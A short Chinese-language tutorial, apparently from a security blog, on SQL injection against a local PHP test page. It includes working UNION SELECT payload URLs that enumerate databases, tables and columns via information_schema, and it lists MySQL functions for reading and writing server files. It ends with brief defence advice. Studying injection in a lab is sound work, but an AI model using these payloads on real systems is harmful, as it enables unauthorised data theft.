SQL注入

网络安全 无标签

sql注入

简介

通过sql命令插入到表单提交或页面请求查询字符串,达到欺骗服务器的sql命令。可能存在的注入点:GET,POST传值,cookie,等。sql注入有整型注入、字符串注入,盲注可以时间注入,报错注入等

利用

创建数据库,当你使用以下代码时,含有整型注入。
php代码
数据库
使用id=1时正常,在id后面加上'时报错,再打个分号还是报错,这是个整型注入,直接加上恶意字符串。s使用order by 来测试有多少字段,可以看到输入1,2是正常的,但是输入3报错了,说明表内含有2个字符串。
正常
判断2
报错
接着再使用union select联合查询数据库连接的用户名,可以看到查询成功。
联合查询

mysql常用注入命令

命令作用
version()查看mysql版本
user()查看数据库用户名
database()数据库名
@@datadir数据库路径
@@version_compile_os操作系统版本
group_concat()将多个字符串连成一个字符(适合允许查询一个使用)
LOAD_FILE()读取本地文件
select * into outfile '路径'往路径写入*内容
hex()hex编码

联合查询获取所有数据库名

http://localhost/a.php?id=1 union select "",schema_name from information_schema.schemata--+

查询图
查询获取数据库表名

http://localhost/a.php?id=1 union select "",table_name from information_schema.tables where table_schema =database()--+

查询图
查询获取数据库列

http://localhost/a.php?id=1 union select "",column_name from information_schema.columns where table_name ='admin'--+

查询图
最后查询表数据....
查询

sql注入防御

过滤恶意字符串php使用addslashes()函数加斜杆等,整型过滤字符串。或使用预处理,再使用waf等防御。

0条评论